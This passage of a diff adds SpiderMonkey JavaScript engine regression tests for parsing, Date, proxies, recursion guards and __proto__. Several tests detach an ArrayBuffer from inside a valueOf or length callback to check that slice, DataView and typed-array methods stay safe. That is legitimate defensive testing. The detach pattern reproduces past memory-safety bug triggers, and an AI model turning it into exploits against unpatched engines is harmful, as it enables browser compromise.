+ assertEq(test("{a} = {a: 30}, {b} = {b: 40}, ", "", "a + b"), 70);
+}
+
+// Ensure function length doesn't change.
+for (let test of tests) {
+ assertEq(test("a, ", "", "fun.length"), 1);
+ assertEq(test("a, b, ", "", "fun.length"), 2);
+
+ assertEq(test("[a], ", "[]", "fun.length"), 1);
+ assertEq(test("[a], [b], ", "[], []", "fun.length"), 2);
+
+ assertEq(test("{a}, ", "{}", "fun.length"), 1);
+ assertEq(test("{a}, {b}, ", "{}, {}", "fun.length"), 2);
+}
+
+for (let test of tests) {
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., , "), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/15.9.4.2.js b/js/src/tests/non262/extensions/15.9.4.2.js
new file mode 100644
index 0000000000..91e794d259
--- /dev/null
+++ b/js/src/tests/non262/extensions/15.9.4.2.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 682754;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function iso(d)
+{
+ return new Date(d).toISOString();
+}
+
+function check(s, millis){
+ description = "Date.parse('"+s+"') == '"+iso(millis)+"'";
+ expected = millis;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function checkInvalid(s)
+{
+ description = "Date.parse('"+s+"') produces invalid date";
+ expected = NaN;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function dd(year, month, day, hour, minute, second, millis){
+ return Date.UTC(year, month-1, day, hour, minute, second, millis);
+}
+
+function TZAtDate(d){
+ return d.getTimezoneOffset() * 60000;
+}
+
+function TZInMonth(month){
+ return TZAtDate(new Date(dd(2009,month,1,0,0,0,0)));
+}
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+
+ JanTZ = TZInMonth(1);
+ JulTZ = TZInMonth(7);
+ CurrTZ = TZAtDate(new Date());
+
+ // Allow non-standard "-0700" as timezone, not just "-07:00"
+ check("2009-07-23T00:53:21.001-0700", dd(2009,7,23,7,53,21,1));
+}
diff --git a/js/src/tests/non262/extensions/8.12.5-01.js b/js/src/tests/non262/extensions/8.12.5-01.js
new file mode 100644
index 0000000000..b7563a8edb
--- /dev/null
+++ b/js/src/tests/non262/extensions/8.12.5-01.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jason Orendorff
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 523846;
+var summary =
+ "Assignments to a property that has a getter but not a setter should not " +
+ "throw a TypeError per ES5 (at least not until strict mode is supported)";
+var actual = "Early failure";
+var expect = "No errors";
+
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var o = { get p() { return "a"; } };
+
+function test1()
+{
+ o.p = "b"; // strict-mode violation here
+ assertEq(o.p, "a");
+}
+
+function test2()
+{
+ function T() {}
+ T.prototype = o;
+ y = new T();
+ y.p = "b"; // strict-mode violation here
+ assertEq(y.p, "a");
+}
+
+
+var errors = [];
+try
+{
+ try
+ {
+ test1();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+
+ try
+ {
+ test2();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+}
+catch (e)
+{
+ errors.push("Unexpected error: " + e);
+}
+finally
+{
+ actual = errors.length > 0 ? errors.join(", ") : "No errors";
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/ArrayBuffer-slice-arguments-detaching.js b/js/src/tests/non262/extensions/ArrayBuffer-slice-arguments-detaching.js
new file mode 100644
index 0000000000..07cec18aa9
--- /dev/null
+++ b/js/src/tests/non262/extensions/ArrayBuffer-slice-arguments-detaching.js
@@ -0,0 +1,80 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "ArrayBuffer-slice-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "ArrayBuffer.prototype.slice shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the ArrayBuffer being sliced";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testStart()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var start =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x800;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ ab.slice(start);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testStart();
+
+function testEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var end =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x1000;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ ab.slice(0x800, end);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "byteLength weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for byteLength weirdness");
+}
+testEnd();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/Boolean-toSource.js b/js/src/tests/non262/extensions/Boolean-toSource.js
new file mode 100644
index 0000000000..b73b21ae5d
--- /dev/null
+++ b/js/src/tests/non262/extensions/Boolean-toSource.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!Boolean.prototype.toSource)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(42)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call("")'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call({})'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(null)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call([])'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(new String())'), true);
+
+assertEq(completesNormally('Boolean.prototype.toSource.call(true)'), true);
+assertEq(completesNormally('Boolean.prototype.toSource.call(new Boolean(true))'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/DataView-construct-arguments-detaching.js b/js/src/tests/non262/extensions/DataView-construct-arguments-detaching.js
new file mode 100644
index 0000000000..b542816ee8
--- /dev/null
+++ b/js/src/tests/non262/extensions/DataView-construct-arguments-detaching.js
@@ -0,0 +1,80 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "DataView-construct-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "new DataView(...) shouldn't misbehave horribly if index-argument " +
+ "conversion detaches the ArrayBuffer to be viewed";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testByteOffset()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var start =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x800;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ new DataView(ab, start);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "byteOffset weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for byteOffset weirdness");
+}
+testByteOffset();
+
+function testByteLength()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var len =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x800;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ new DataView(ab, 0x800, len);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "byteLength weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for byteLength weirdness");
+}
+testByteLength();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/DataView-set-arguments-detaching.js b/js/src/tests/non262/extensions/DataView-set-arguments-detaching.js
new file mode 100644
index 0000000000..0f1df608f4
--- /dev/null
+++ b/js/src/tests/non262/extensions/DataView-set-arguments-detaching.js
@@ -0,0 +1,84 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "DataView-set-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "DataView.prototype.set* methods shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the ArrayBuffer being modified";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testIndex()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var dv = new DataView(ab);
+
+ var start =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0xFFF;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ dv.setUint8(start, 0x42);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "should have thrown");
+ assertEq(ab.byteLength, 0, "should have been detached correctly");
+}
+testIndex();
+
+function testValue()
+{
+ var ab = new ArrayBuffer(0x100000);
+
+ var dv = new DataView(ab);
+
+ var value =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ gc();
+ return 0x42;
+ }
+ };
+
+ var ok = false;
+ try
+ {
+ dv.setUint8(0xFFFFF, value);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "should have thrown");
+ assertEq(ab.byteLength, 0, "should have been detached correctly");
+}
+testValue();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/Number-toSource.js b/js/src/tests/non262/extensions/Number-toSource.js
new file mode 100644
index 0000000000..e52a92828c
--- /dev/null
+++ b/js/src/tests/non262/extensions/Number-toSource.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!Number.prototype.toSource)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call("")'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(true)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call({})'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(null)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call([])'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(new Boolean(true))'), true);
+
+assertEq(completesNormally('Number.prototype.toSource.call(42)'), true);
+assertEq(completesNormally('Number.prototype.toSource.call(new Number(42))'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/RegExp-error-message-skip-selfhosted-frames.js b/js/src/tests/non262/extensions/RegExp-error-message-skip-selfhosted-frames.js
new file mode 100644
index 0000000000..fd45717476
--- /dev/null
+++ b/js/src/tests/non262/extensions/RegExp-error-message-skip-selfhosted-frames.js
@@ -0,0 +1,11 @@
+for (let name of ["test", Symbol.match, Symbol.replace, Symbol.search]) {
+ try {
+ RegExp.prototype[name].call({});
+ } catch (e) {
+ let methodName = typeof name === "symbol" ? `[${name.description}]` : name;
+ assertEq(e.message, `${methodName} method called on incompatible Object`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/String-match-flags.js b/js/src/tests/non262/extensions/String-match-flags.js
new file mode 100644
index 0000000000..b1a382fdfe
--- /dev/null
+++ b/js/src/tests/non262/extensions/String-match-flags.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 1263139;
+var summary = "String.prototype.match with non-string non-standard flags argument.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called;
+var flags = {
+ toString() {
+ called = true;
+ return "";
+ }
+};
+
+called = false;
+"a".match("a", flags);
+assertEq(called, false);
+
+called = false;
+"a".search("a", flags);
+assertEq(called, false);
+
+called = false;
+"a".replace("a", "b", flags);
+assertEq(called, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/String-methods-infinite-recursion.js b/js/src/tests/non262/extensions/String-methods-infinite-recursion.js
new file mode 100644
index 0000000000..a5972d8c38
--- /dev/null
+++ b/js/src/tests/non262/extensions/String-methods-infinite-recursion.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 657585;
+var summary =
+ 'Guard against infinite recursion when converting |this| to string for the ' +
+ 'String.prototype.* methods';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var obj = {};
+ obj.toString = String.prototype.charAt;
+ "" + obj;
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown InternalError for over-recursion, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/String-toSource.js b/js/src/tests/non262/extensions/String-toSource.js
new file mode 100644
index 0000000000..ef872a96f3
--- /dev/null
+++ b/js/src/tests/non262/extensions/String-toSource.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!String.prototype.toSource)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(42)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(true)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call({})'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(null)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call([])'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(undefined)'), true);
+assertEq(completesNormally('String.prototype.toSource.call("")'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/TypedArray-set-object-funky-length-detaches.js b/js/src/tests/non262/extensions/TypedArray-set-object-funky-length-detaches.js
new file mode 100644
index 0000000000..66e539b99d
--- /dev/null
+++ b/js/src/tests/non262/extensions/TypedArray-set-object-funky-length-detaches.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "set-object-funky-length-detaches.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "%TypedArray%.prototype.set(object w/funky length property, offset) " +
+ "shouldn't misbehave if the funky length property detaches this typed " +
+ "array's buffer";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ctors = [Int8Array, Uint8Array, Uint8ClampedArray,
+ Int16Array, Uint16Array,
+ Int32Array, Uint32Array,
+ Float32Array, Float64Array];
+ctors.forEach(function(TypedArray) {
+ var buf = new ArrayBuffer(512 * 1024);
+ var ta = new TypedArray(buf);
+
+ var arraylike =
+ {
+ 0: 17,
+ 1: 42,
+ 2: 3,
+ 3: 99,
+ 4: 37,
+ 5: 9,
+ 6: 72,
+ 7: 31,
+ 8: 22,
+ 9: 0,
+ get length()
+ {
+ detachArrayBuffer(buf);
+ return 10;
+ }
+ };
+
+ ta.set(arraylike, 0x1234);
+});
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/TypedArray-subarray-arguments-detaching.js b/js/src/tests/non262/extensions/TypedArray-subarray-arguments-detaching.js
new file mode 100644
index 0000000000..04c12c6423
--- /dev/null
+++ b/js/src/tests/non262/extensions/TypedArray-subarray-arguments-detaching.js
@@ -0,0 +1,111 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "TypedArray-subarray-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "%TypedArray.prototype.subarray shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the underlying ArrayBuffer";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testBegin()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var begin =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x800;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.subarray(begin);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testBegin();
+
+function testBeginWithEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var begin =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x800;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.subarray(begin, 0x1000);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testBeginWithEnd();
+
+function testEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var end =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x1000;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.subarray(0x800, end);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testEnd();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/__proto__.js b/js/src/tests/non262/extensions/__proto__.js
new file mode 100644
index 0000000000..aa6d608766
--- /dev/null
+++ b/js/src/tests/non262/extensions/__proto__.js
@@ -0,0 +1,53 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = '__proto__.js';
+var BUGNUMBER = 770344;
+var summary = "__proto__ as accessor";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var protoDesc = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__");
+assertEq(protoDesc !== null, true);
+assertEq(typeof protoDesc, "object");
+assertEq(protoDesc.hasOwnProperty("get"), true);
+assertEq(protoDesc.hasOwnProperty("set"), true);
+assertEq(protoDesc.hasOwnProperty("enumerable"), true);
+assertEq(protoDesc.hasOwnProperty("configurable"), true);
+assertEq(protoDesc.hasOwnProperty("value"), false);
+assertEq(protoDesc.hasOwnProperty("writable"), false);
+
+assertEq(protoDesc.configurable, true);
+assertEq(protoDesc.enumerable, false);
+assertEq(typeof protoDesc.get, "function", protoDesc.get + "");
+assertEq(typeof protoDesc.set, "function", protoDesc.set + "");
+
+assertEq(delete Object.prototype.__proto__, true);
+assertEq(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__"),
+ undefined);
+
+var obj = {};
+obj.__proto__ = 5;
+assertEq(Object.getPrototypeOf(obj), Object.prototype);
+assertEq(obj.hasOwnProperty("__proto__"), true);
+
+var desc = Object.getOwnPropertyDescriptor(obj, "__proto__");
+assertEq(desc !== null, true);
+assertEq(typeof desc, "object");
+assertEq(desc.value, 5);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/arguments-property-access-in-function.js b/js/src/tests/non262/extensions/arguments-property-access-in-function.js
new file mode 100644
index 0000000000..f8c7e97f16
--- /dev/null
+++ b/js/src/tests/non262/extensions/arguments-property-access-in-function.js
@@ -0,0 +1,58 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 721322;
+var summary =
+ 'f.arguments must trigger an arguments object in non-strict mode functions';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ test: function()
+ {
+ var args = obj.test.arguments;
+ assertEq(args !== null, true);
+ assertEq(args[0], 5);
+ assertEq(args[1], undefined);
+ assertEq(args.length, 2);
+ }
+ };
+obj.test(5, undefined);
+
+var sobj =
+ {
+ test: function()
+ {
+ "use strict";
+
+ try
+ {
+ var args = sobj.test.arguments;
+ throw new Error("access to arguments property of strict mode " +
+ "function didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "should have thrown TypeError, instead got: " + e);
+ }
+ }
+ };
+sobj.test(5, undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/array-inherited-__proto__.js b/js/src/tests/non262/extensions/array-inherited-__proto__.js
new file mode 100644
index 0000000000..0409d47575
--- /dev/null
+++ b/js/src/tests/non262/extensions/array-inherited-__proto__.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'array-inherited-__proto__.js';
+var BUGNUMBER = 769041;
+var summary =
+ "The [[Prototype]] of an object whose prototype chain contains an array " +
+ "isn't that array's [[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+assertEq(Array.isArray(arr), true);
+var objWithArrPrototype = Object.create(arr);
+assertEq(!Array.isArray(objWithArrPrototype), true);
+assertEq(objWithArrPrototype.__proto__, arr);
+var objWithArrGrandPrototype = Object.create(objWithArrPrototype);
+assertEq(!Array.isArray(objWithArrGrandPrototype), true);
+assertEq(objWithArrGrandPrototype.__proto__, objWithArrPrototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/array-isArray-proxy-recursion.js b/js/src/tests/non262/extensions/array-isArray-proxy-recursion.js
new file mode 100644
index 0000000000..ca2907a99a
--- /dev/null
+++ b/js/src/tests/non262/extensions/array-isArray-proxy-recursion.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1282047;
+var summary = 'Infinite recursion via Array.isArray on a proxy';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var proxy = Proxy.revocable([], {}).proxy;
+
+// A depth of 100000 ought to be enough for any platform to consume its entire
+// stack, hopefully without making any recalcitrant platforms time out. If no
+// timeout happens, the assertEq checks for the proper expected value.
+for (var i = 0; i < 1e5; i++)
+ proxy = new Proxy(proxy, {});
+
+try
+{
+ assertEq(Array.isArray(proxy), true);
+
+ // If we reach here, it's cool, we just didn't consume the entire stack.
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/array-length-protochange.js b/js/src/tests/non262/extensions/array-length-protochange.js
new file mode 100644
index 0000000000..aeec8e9a22
--- /dev/null
+++ b/js/src/tests/non262/extensions/array-length-protochange.js
@@ -0,0 +1,35 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 548671;
+var summary =
+ "Don't use a shared-permanent inherited property to implement " +
+ "[].length or (function(){}).length";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a = [1, 2, 3];
+a.__proto__ = null;
+reportCompare("length" in a, true, "length should be own property of array");
+reportCompare(Object.hasOwnProperty.call(a, "length"), true,
+ "length should be own property of array");
+reportCompare(a.length, 3, "array length should be 3");
+
+var a = [], b = [];
+b.__proto__ = a;
+reportCompare(b.hasOwnProperty("length"), true,
+ "length should be own property of array");
+b.length = 42;
+reportCompare(b.length, 42, "should have mutated b's (own) length");
+reportCompare(a.length, 0, "should not have mutated a's (own) length");
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/array-pop-proxy.js b/js/src/tests/non262/extensions/array-pop-proxy.js
new file mode 100644
index 0000000000..15c230977a
--- /dev/null
+++ b/js/src/tests/non262/extensions/array-pop-proxy.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'array-pop-proxy.js';
+var BUGNUMBER = 858381;
+var summary = "Behavior of [].pop on proxies";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var p = new Proxy([0, 1, 2], {});
+Array.prototype.pop.call(p);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/array-toString-recursion.js b/js/src/tests/non262/extensions/array-toString-recursion.js
new file mode 100644
index 0000000000..aa5d856c3b
--- /dev/null
+++ b/js/src/tests/non262/extensions/array-toString-recursion.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 635389;
+var summary = 'Infinite recursion via [].{toString,toLocaleString,join}';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var x = [];
+ x.join = Array.prototype.toString;
+ "" + x;
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+try
+{
+ var x = { toString: Array.prototype.toString, join: Array.prototype.toString };
+ "" + x;
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/arraybuffer-prototype.js b/js/src/tests/non262/extensions/arraybuffer-prototype.js
new file mode 100644
index 0000000000..c61b317762
--- /dev/null
+++ b/js/src/tests/non262/extensions/arraybuffer-prototype.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 665961;
+var summary =
+ "ArrayBuffer cannot access properties defined on the prototype chain.";
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+ArrayBuffer.prototype.prop = "on prototype";
+var b = new ArrayBuffer([]);
+assertEq(b.prop, "on prototype");
+
+var c = new ArrayBuffer([]);
+assertEq(c.prop, "on prototype");
+c.prop = "direct";
+assertEq(c.prop, "direct");
+
+assertEq(ArrayBuffer.prototype.prop, "on prototype");
+assertEq(new ArrayBuffer([]).prop, "on prototype");
+
+assertEq(c.nonexistent, undefined);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/bad-regexp-data-clone.js b/js/src/tests/non262/extensions/bad-regexp-data-clone.js
new file mode 100644
index 0000000000..70ed427a6a
--- /dev/null
+++ b/js/src/tests/non262/extensions/bad-regexp-data-clone.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
